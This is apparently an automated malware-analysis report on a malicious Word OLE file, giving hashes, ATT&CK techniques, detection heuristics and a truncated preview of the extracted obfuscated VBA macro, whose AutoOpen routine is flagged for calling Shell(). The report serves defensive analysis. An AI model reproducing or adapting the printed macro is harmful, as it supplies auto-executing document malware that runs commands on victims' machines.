Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f55205c07f0fe2fb…

MALICIOUS

Office (OLE)

96.0 KB First seen: 2019-01-12
MD5: 9fffbf251f83d4cd07df08cca1dee621 SHA-1: 555c58f1c18bdb19a874b53fe56ec7794f40055a SHA-256: f55205c07f0fe2fb3ecbbcbed84cd97e3ca1c46390701187ec64c898ca580920
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OLE document containing a VBA macro with an AutoOpen function, a common technique for initial execution. The macro utilizes the Shell() function, indicating an attempt to execute arbitrary commands, likely for downloading and executing a second-stage payload. The presence of a large slack space in the OLE structure is also noted as suspicious.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 98,304 bytes but its declared streams total only 36,419 bytes — 61,885 bytes (63%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19758 bytes
SHA-256: 63986a6ddbc6f44563333758b93fee0e0d43f27b05a728e3e2aa5013d3a363fc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "YlzUkLOBltvZR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim jCIGKQ(2)
jCIGKQ(0) = InStr(rpdlsU + VVVboOzkSiIjrDvFVfoJw + uZSOW, uOvhMr + KVrmdzlvzzPAMWHiTXi + RoldIBZD) + InStr(USRMqa + XOZzUEiiFMBjjUpwVdtat + VNuJREX, IXUTh + pTrikoXrBdZLjRkjUoBo + zZqXAVP) + InStrRev(EGBwz + XRPazYcUCjzalnfiPdzrfNz + hiVlCa, YifYwWh + SzRQbTrRQXakQDnMjzvz + GzZOS) + InStrRev(stvApI + iZkKtoVhHsRoWzzM + RzwJFi, zbuhBC + pbuSiGaXzaEYBkrNblAna + jjwBT)
jCIGKQ(1) = InStr(MJWSCp + YmHHlswizJpwYpnTJacWiL + rWdhB, NNjTMMm + DJZUnUiwQPRwQdvFMVPIAL + HAHMWbc) + InStr(mTYXni + ZTQzCXOhlinBYIbwaEtpTz + iHiYq, bsudEc + oqwiTNKiMjYjfizOkZzNnXi + hPXVhZ) + InStr(USpvTKDM + pvOwcKOIpdLHoOPoKrHbf + ETRPvAd, BBkmMHYT + JKAiYwXAAiUjUuqquciczP + ccCSnMJ) + InStrRev(DptTGc + HjSQrGNdUtbhBOMvwiuH + XCFzX, FwsiZNlV + KrPqpCaAuhivMOTEHkGht + JfGFaZJ)
   Dim kIciQ(1)
kIciQ(0) = InStr(jJsfmz + qRzToFSMhEBMzBEbNQijvp + QjPpdl, HkECA + PzMfMjVlhYvhBiOf + zraPK) + InStrRev(npCavtOl + NtILiEqpAZoUQRSG + BtNivf, SzwRUBmt + kWZUnTQOGicwuLAudj + qXCdQ)
   Dim CWpip(2)
CWpip(0) = InStrRev(GmVqVRiT + MPoNSwQLLwnRcAwdrv + zToFZ, MiFfrvj + YsRdmBStKKQlpwHotd + EazQim) + InStrRev(bOMFwdk + BUMOBUasYtovsGjVmlkiI + CZkJdNl, JfICGZXk + vfVFYdRhNQlEnSSnvfDF + AMJwNNzV) + InStrRev(DjTLfLj + cXbUkoYzRLraVRHkVzQ + HPljvHjz, XZZsZIp + DFocLoOEvjHoMUD + piLqwz) + InStrRev(YhcjCOMh + ZWHsfEUwRlfFFMVuziOa + WTAawuGt, VNwDHWz + NtcWibrnVILCIlTYP + lXbbNPS)
CWpip(1) = InStr(idIcvuw + uCTYYSawuVCbVviIHNmZztii + GNoBYUUK, JARVXRZC + tnpBKmdTiuknhhAC + YvFlGvQ) + InStr(UbaYvTY + mLqqiEYMiqjYzVsjPDrs + KSJPLTI, QpkhM + ukhLwbUlaboYoOFYmPw + hqPjQC)
   Dim QJKhzi(2)
QJKhzi(0) = InStrRev(tSaCfK + RQhADKWUtvHvTwcIjDl + Aknavjd, GJIbzj + qbGicaZKEDBzvDATWv + PaipJw) + InStrRev(vCvNK + XJOPqbaTLizYzNjBqIulP + DHzBi, JdJIji + GGifBVDiEvIHmcDfYTUZcJ + UDbLjD) + InStr(oHkKp + jzmMFXmKcCZjBWRGii + LEGknQNs, tocpzi + RRihiiIGOsjRDbHwmNVw + CczDLZ) + InStrRev(PMaKia + fKzzGFwZOpjEGwTcBREvpF + iPtzh, hLzjGw + iwjGKJQFKwaDaumDPj + IKmYkX)
QJKhzi(1) = InStr(fXSaw + JtSJhmivHwnpUswfbwXl + wzSDkAQ, dKwawiZO + okZsnIcSiClbloPsiGf + qiSpzBBi) + InStrRev(qwWFfu + watsCJNpJWsKJCEqOcR + kozdPj, zijHBwfJ + LrLHJjwDaESvhwZLWwFZZ + cuiDZhY)
   Dim rUwWk(1)
rUwWk(0) = InStrRev(iGNuQjp + SaMzWGkNwMiZBsmllj + jnKlZjc, wMEajbB + ZIlQrJFjYtDGCcJLULslN + NwNbRlA) + InStrRev(zpTwB + zErfrJubRpRYhnGwILI + DEvKJ, KoLujV + DBmUAwidbRfpFXzjcmOkRz + cMnrCqN) + InStrRev(ZoGLU + jsdXFRFimUGpWwRFRl + pcMPOB, HMrAZT + LphIQVDpFRKJlzdou + IDrON) + InStrRev(QuDQstbD + UWIZIkjdCFBvfljKRBHMFYL + BVhhYfUY, ATKlVrr + YiLjvZJzKDBzWWUYcPKM + jJGPmUN)
   Dim hidhzh(1)
hidhzh(0) = InStr(vuZzIkU + zzFNGCcpjPzvZAmLpjn + zbQTz, cDERmXba + EHzfkzYXIwJGaJaiWjcho + rEzCYLTO) + InStrRev(ZfOcrfb + TzdHMcNvrbZJspoVjmpr + APzCiEA, TwNwmZLP + AGQmZUqGQKdFLNNtrnb + ZquWBv)
KcdntUrAUBH (KeyString(XXzVOqj + dfRrVpBQ + 20 + 8 + 39 + pmwQjIP + kqnLbYGE) + jDiuB + KPViB + KeyString(dzuZHPNz + UDqTpTO + 23 + 9 + 45 + HjXKs + fzzMOj) + ziwiPvuGz + brZfl + HQucUA + PqlmHOiH + aCzYJwX)
   Dim Awtnz(2)
Awtnz(0) = InStrRev(lwMJIfa + jLMwsvzspTMUzKAiJlM + WzAWNzX, JcwvmK + wvHAWJCrziwjjfatvfj + nqSTVE) + InStrRev(YMoRljzp + DBsjpaFPLQJRMCjrjWF + XTuGfwaE, jraEA + ooMZPvOwUTzOIDMVfzBQ + MQjLP) + InStrRev(wViQNPI + rjdGGjhPWsiMOmMDivDhN + taiOoEwN, mdFcYw + PBmGvslCuWoCQqSzAi + wGVkwHa) + InStr(GozmMmip + zCrTPWLmGzwKbTnHmvipZh + fvDnKW, fHnFOnJn + KdWTZmEhqUNRmBDfSpZOmof + tzlrpc)
Awtnz(1) = InStrRev(wMWRjcf + SpAELHEjIlOtajorFd + PQGSfRjM, RWpLQ + imIUlWMhrzooArunEobmzv + SIDOT) + InStrRev(aqOViuul + kYFIabpcdDCALYuYacfh + BffGtK, LNXlwr + nrdvXpwkdAMErQjZvJU + zdpwBI) + InStrRev(rMpoD + LciWPrzNJjSlETIL + AFvbJwUP, nWhOSa + IIjbpUGjGIVfsKXmuF + hDsszj) + InStrRev(dUpCnO + apDOOHkvZZDvoEmwXwcnaf + ApqJtlH, BzHaQ + aGAXpQcFPATwBbcmuFPj + czLziYHn)
   Dim jNRPAO(1)
jNRPAO(0) = InStrRev(haqpr + XlliQ
... (truncated)

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